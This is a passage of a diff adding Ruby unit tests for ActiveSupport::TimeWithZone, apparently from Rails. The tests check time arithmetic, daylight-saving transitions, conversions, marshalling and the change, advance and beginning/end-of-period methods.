+    twz2 = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"])
+    assert_equal  86_399.999999998,  twz2 - twz1
+  end
+
+  def test_minus_with_datetime
+    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+  end
+
+  def test_minus_with_datetime_precision
+    assert_equal  86_399.999999999,  ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+  end
+
+  def test_minus_with_wrapped_datetime
+    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - Time.utc(2000, 1, 1)
+    assert_equal  86_400.0,  ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone["UTC"]) - DateTime.civil(2000, 1, 1)
+  end
+
+  def test_plus_and_minus_enforce_spring_dst_rules
+    utc = Time.utc(2006, 4, 2, 6, 59, 59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal Time.utc(2006, 4, 2, 1, 59, 59), twz.time
+    assert_equal false, twz.dst?
+    assert_equal "EST", twz.zone
+    twz = twz + 1
+    assert_equal Time.utc(2006, 4, 2, 3), twz.time # adding 1 sec springs forward to 3:00AM EDT
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+    twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST
+    assert_equal Time.utc(2006, 4, 2, 1, 59, 59), twz.time
+    assert_equal false, twz.dst?
+    assert_equal "EST", twz.zone
+  end
+
+  def test_plus_and_minus_enforce_fall_dst_rules
+    utc = Time.utc(2006, 10, 29, 5, 59, 59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal Time.utc(2006, 10, 29, 1, 59, 59), twz.time
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+    twz = twz + 1
+    assert_equal Time.utc(2006, 10, 29, 1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST
+    assert_equal false, twz.dst?
+    assert_equal "EST", twz.zone
+    twz = twz - 1
+    assert_equal Time.utc(2006, 10, 29, 1, 59, 59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+  end
+
+  def test_to_a
+    assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new(Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone["Hawaii"]).to_a
+  end
+
+  def test_to_f
+    result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["Hawaii"]).to_f
+    assert_equal 946684800.0, result
+    assert_kind_of Float, result
+  end
+
+  def test_to_i
+    result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["Hawaii"]).to_i
+    assert_equal 946684800, result
+    assert_kind_of Integer, result
+  end
+
+  def test_to_i_with_wrapped_datetime
+    datetime = DateTime.civil(2000, 1, 1, 0)
+    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+    assert_equal 946684800, twz.to_i
+  end
+
+  def test_to_r
+    result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["Hawaii"]).to_r
+    assert_equal Rational(946684800, 1), result
+    assert_kind_of Rational, result
+  end
+
+  def test_time_at
+    time = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone["Hawaii"])
+    assert_equal time, Time.at(time)
+  end
+
+  def test_to_time_with_preserve_timezone
+    with_preserve_timezone(true) do
+      with_env_tz "US/Eastern" do
+        time = @twz.to_time
+
+        assert_equal Time, time.class
+        assert_equal time.object_id, @twz.to_time.object_id
+        assert_equal Time.local(1999, 12, 31, 19), time
+        assert_equal Time.local(1999, 12, 31, 19).utc_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_to_time_without_preserve_timezone
+    with_preserve_timezone(false) do
+      with_env_tz "US/Eastern" do
+        time = @twz.to_time
+
+        assert_equal Time, time.class
+        assert_equal time.object_id, @twz.to_time.object_id
+        assert_equal Time.local(1999, 12, 31, 19), time
+        assert_equal Time.local(1999, 12, 31, 19).utc_offset, time.utc_offset
+      end
+    end
+  end
+
+  def test_to_date
+    # 1 sec before midnight Jan 1 EST
+    assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone["Eastern Time (US & Canada)"]).to_date
+    # midnight Jan 1 EST
+    assert_equal Date.new(2000,  1,  1), ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 5,  0,  0), ActiveSupport::TimeZone["Eastern Time (US & Canada)"]).to_date
+    # 1 sec before midnight Jan 2 EST
+    assert_equal Date.new(2000,  1,  1), ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone["Eastern Time (US & Canada)"]).to_date
+    # midnight Jan 2 EST
+    assert_equal Date.new(2000,  1,  2), ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 2, 5,  0,  0), ActiveSupport::TimeZone["Eastern Time (US & Canada)"]).to_date
+  end
+
+  def test_to_datetime
+    assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)),  @twz.to_datetime
+  end
+
+  def test_acts_like_time
+    assert @twz.acts_like_time?
+    assert @twz.acts_like?(:time)
+    assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
+  end
+
+  def test_acts_like_date
+    assert_equal false, @twz.acts_like?(:date)
+    assert_equal false, ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:date)
+  end
+
+  def test_blank?
+    assert_not @twz.blank?
+  end
+
+  def test_is_a
+    assert_kind_of Time, @twz
+    assert_kind_of Time, @twz
+    assert_kind_of ActiveSupport::TimeWithZone, @twz
+  end
+
+  def test_class_name
+    assert_equal "Time", ActiveSupport::TimeWithZone.name
+  end
+
+  def test_method_missing_with_time_return_value
+    assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
+    assert_equal Time.utc(2000, 1, 31, 19, 0 , 0), @twz.months_since(1).time
+  end
+
+  def test_marshal_dump_and_load
+    marshal_str = Marshal.dump(@twz)
+    mtime = Marshal.load(marshal_str)
+    assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+    assert mtime.utc.utc?
+    assert_equal ActiveSupport::TimeZone["Eastern Time (US & Canada)"], mtime.time_zone
+    assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+    assert mtime.time.utc?
+    assert_equal @twz.inspect, mtime.inspect
+  end
+
+  def test_marshal_dump_and_load_with_tzinfo_identifier
+    twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get("America/New_York"))
+    marshal_str = Marshal.dump(twz)
+    mtime = Marshal.load(marshal_str)
+    assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+    assert mtime.utc.utc?
+    assert_equal "America/New_York", mtime.time_zone.name
+    assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+    assert mtime.time.utc?
+    assert_equal @twz.inspect, mtime.inspect
+  end
+
+  def test_freeze
+    @twz.freeze
+    assert @twz.frozen?
+  end
+
+  def test_freeze_preloads_instance_variables
+    @twz.freeze
+    assert_nothing_raised do
+      @twz.period
+      @twz.time
+      @twz.to_datetime
+      @twz.to_time
+    end
+  end
+
+  def test_method_missing_with_non_time_return_value
+    time = @twz.time
+    def time.foo; "bar"; end
+    assert_equal "bar", @twz.foo
+  end
+
+  def test_date_part_value_methods
+    twz = ActiveSupport::TimeWithZone.new(Time.utc(1999, 12, 31, 19, 18, 17, 500), @time_zone)
+    assert_not_called(twz, :method_missing) do
+      assert_equal 1999, twz.year
+      assert_equal 12, twz.month
+      assert_equal 31, twz.day
+      assert_equal 14, twz.hour
+      assert_equal 18, twz.min
+      assert_equal 17, twz.sec
+      assert_equal 500, twz.usec
+      assert_equal 5, twz.wday
+      assert_equal 365, twz.yday
+    end
+  end
+
+  def test_usec_returns_0_when_datetime_is_wrapped
+    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
+    assert_equal 0, twz.usec
+  end
+
+  def test_usec_returns_sec_fraction_when_datetime_is_wrapped
+    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)), @time_zone)
+    assert_equal 500000, twz.usec
+  end
+
+  def test_nsec_returns_sec_fraction_when_datetime_is_wrapped
+    twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)), @time_zone)
+    assert_equal 500000000, twz.nsec
+  end
+
+  def test_utc_to_local_conversion_saves_period_in_instance_variable
+    assert_nil @twz.instance_variable_get("@period")
+    @twz.time
+    assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get("@period")
+  end
+
+  def test_instance_created_with_local_time_returns_correct_utc_time
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
+    assert_equal Time.utc(2000), twz.utc
+  end
+
+  def test_instance_created_with_local_time_enforces_spring_dst_rules
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 2)) # first second of DST
+    assert_equal Time.utc(2006, 4, 2, 3), twz.time # springs forward to 3AM
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+  end
+
+  def test_instance_created_with_local_time_enforces_fall_dst_rules
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 29, 1)) # 1AM can be either DST or non-DST; we'll pick DST
+    assert_equal Time.utc(2006, 10, 29, 1), twz.time
+    assert_equal true, twz.dst?
+    assert_equal "EDT", twz.zone
+  end
+
+  def test_ruby_19_weekday_name_query_methods
+    %w(sunday? monday? tuesday? wednesday? thursday? friday? saturday?).each do |name|
+      assert_respond_to @twz, name
+      assert_equal @twz.send(name), @twz.method(name).call
+    end
+  end
+
+  def test_utc_to_local_conversion_with_far_future_datetime
+    assert_equal [0, 0, 19, 31, 12, 2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0, 6]
+  end
+
+  def test_local_to_utc_conversion_with_far_future_datetime
+    assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049, 12, 31, 19)).to_f
+  end
+
+  def test_change
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.change(year: 2001).inspect
+    assert_equal "Wed, 31 Mar 1999 19:00:00 EST -05:00", @twz.change(month: 3).inspect
+    assert_equal "Wed, 03 Mar 1999 19:00:00 EST -05:00", @twz.change(month: 2).inspect
+    assert_equal "Wed, 15 Dec 1999 19:00:00 EST -05:00", @twz.change(day: 15).inspect
+    assert_equal "Fri, 31 Dec 1999 06:00:00 EST -05:00", @twz.change(hour: 6).inspect
+    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.change(min: 15).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(sec: 30).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(offset: "-10:00").inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(offset: -36000).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(zone: "Hawaii").inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(zone: -10).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(zone: -36000).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 HST -10:00", @twz.change(zone: "Pacific/Honolulu").inspect
+  end
+
+  def test_change_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone["Madrid"])
+    assert_equal twz, twz.change(min: 0)
+  end
+
+  def test_round_at_dst_boundary
+    twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone["Madrid"])
+    assert_equal twz, twz.round
+  end
+
+  def test_advance
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(years: 2).inspect
+    assert_equal "Fri, 31 Mar 2000 19:00:00 EST -05:00", @twz.advance(months: 3).inspect
+    assert_equal "Tue, 04 Jan 2000 19:00:00 EST -05:00", @twz.advance(days: 4).inspect
+    assert_equal "Sat, 01 Jan 2000 01:00:00 EST -05:00", @twz.advance(hours: 6).inspect
+    assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.advance(minutes: 15).inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.advance(seconds: 30).inspect
+  end
+
+  def test_beginning_of_year
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Fri, 01 Jan 1999 00:00:00 EST -05:00", @twz.beginning_of_year.inspect
+  end
+
+  def test_end_of_year
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_year.inspect
+  end
+
+  def test_beginning_of_month
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Wed, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
+  end
+
+  def test_end_of_month
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_month.inspect
+  end
+
+  def test_beginning_of_day
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Fri, 31 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_day.inspect
+  end
+
+  def test_end_of_day
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+    assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_day.inspect
+  end
+
+  def test_beginning_of_hour
+    utc = Time.utc(2000, 1, 1, 0, 30)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+  end
+
+  def test_end_of_hour
+    utc = Time.utc(2000, 1, 1, 0, 30)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:59:59 EST -05:00", twz.end_of_hour.inspect
+  end
+
+  def test_beginning_of_minute
+    utc = Time.utc(2000, 1, 1, 0, 30, 10)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+  end
+
+  def test_end_of_minute
+    utc = Time.utc(2000, 1, 1, 0, 30, 10)
+    twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+    assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+    assert_equal "Fri, 31 Dec 1999 19:30:59 EST -05:00", twz.end_of_minute.inspect
+  end
+
+  def test_since
+    assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
+  end
+
+  def test_in
+    assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.in(1).inspect
+  end
+
+  def test_ago
+    assert_equal "Fri, 31 Dec 1999 18:59:59 EST -05:00", @twz.ago(1).inspect
+  end
+
+  def test_seconds_since_midnight
+    assert_equal 19 * 60 * 60, @twz.seconds_since_midnight
+  end
+
+  def test_advance_1_year_from_leap_day
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2004, 2, 29))
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(years: 1).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.years_since(1).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.year).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.in(1.year).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.year).inspect
+  end
+
+  def test_advance_1_month_from_last_day_of_january
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2005, 1, 31))
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.months_since(1).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.month).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.in(1.month).inspect
+    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.month).inspect
+  end
+
+  def test_advance_1_month_from_last_day_of_january_during_leap_year
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 31))
+    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.months_since(1).inspect
+    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.since(1.month).inspect
+    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.in(1.month).inspect
+    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", (twz + 1.month).inspect
+  end
+
+  def test_advance_1_month_into_spring_dst_gap
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 3, 2, 2))
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(months: 1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.months_since(1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.month).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1.month).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.month).inspect
+  end
+
+  def test_advance_1_second_into_spring_dst_gap
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 1, 59, 59))
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(seconds: 1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.second).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.second).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1).inspect
+    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1.second).inspect
+  end
+
+  def test_advance_1_day_across_spring_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
+    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+    # When we advance 1 day, we want to end up at the same time on the next day
+    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.advance(days: 1).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.since(1.days).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.in(1.days).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", (twz + 1.days).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.since(1.days + 1.second).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.in(1.days + 1.second).inspect
+    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", (twz + 1.days + 1.second).inspect
+  end
+
+  def test_advance_1_day_across_spring_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 10, 30))
+    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+    # When we advance back 1 day, we want to end up at the same time on the previous day
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(days: -1).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.days).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.days).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:01 EST -05:00", twz.ago(1.days - 1.second).inspect
+  end
+
+  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
+    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400.seconds).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400.seconds).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(86400).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(86400.seconds).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(seconds: 86400).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 1440.minutes).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(1440.minutes).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(1440.minutes).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(minutes: 1440).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 24.hours).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(24.hours).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(24.hours).inspect
+    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(hours: 24).inspect
+  end
+
+  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 11, 30))
+    # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400.seconds).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400.seconds).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(seconds: -86400).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1440.minutes).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1440.minutes).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(minutes: -1440).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 24.hours).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(24.hours).inspect
+    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(hours: -24).inspect
+  end
+
+  def test_advance_1_day_across_fall_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
+    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+    # When we advance 1 day, we want to end up at the same time on the next day
+    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.advance(days: 1).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.since(1.days).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.in(1.days).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", (twz + 1.days).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.since(1.days + 1.second).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.in(1.days + 1.second).inspect
+    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", (twz + 1.days + 1.second).inspect
+  end
+
+  def test_advance_1_day_across_fall_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 29, 10, 30))
+    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+    # When we advance backwards 1 day, we want to end up at the same time on the previous day
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(days: -1).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.days).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.days).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:01 EDT -04:00", twz.ago(1.days - 1.second).inspect
+  end
+
+  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
+    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400.seconds).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400.seconds).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(86400).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(86400.seconds).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(seconds: 86400).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 1440.minutes).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(1440.minutes).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(1440.minutes).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(minutes: 1440).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 24.hours).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(24.hours).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(24.hours).inspect
+    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(hours: 24).inspect
+  end
+
+  def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition_backwards
+    twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 29, 9, 30))
+    # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+    # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400.seconds).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400.seconds).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(seconds: -86400).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1440.minutes).inspect
+    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1440.minutes).inspect
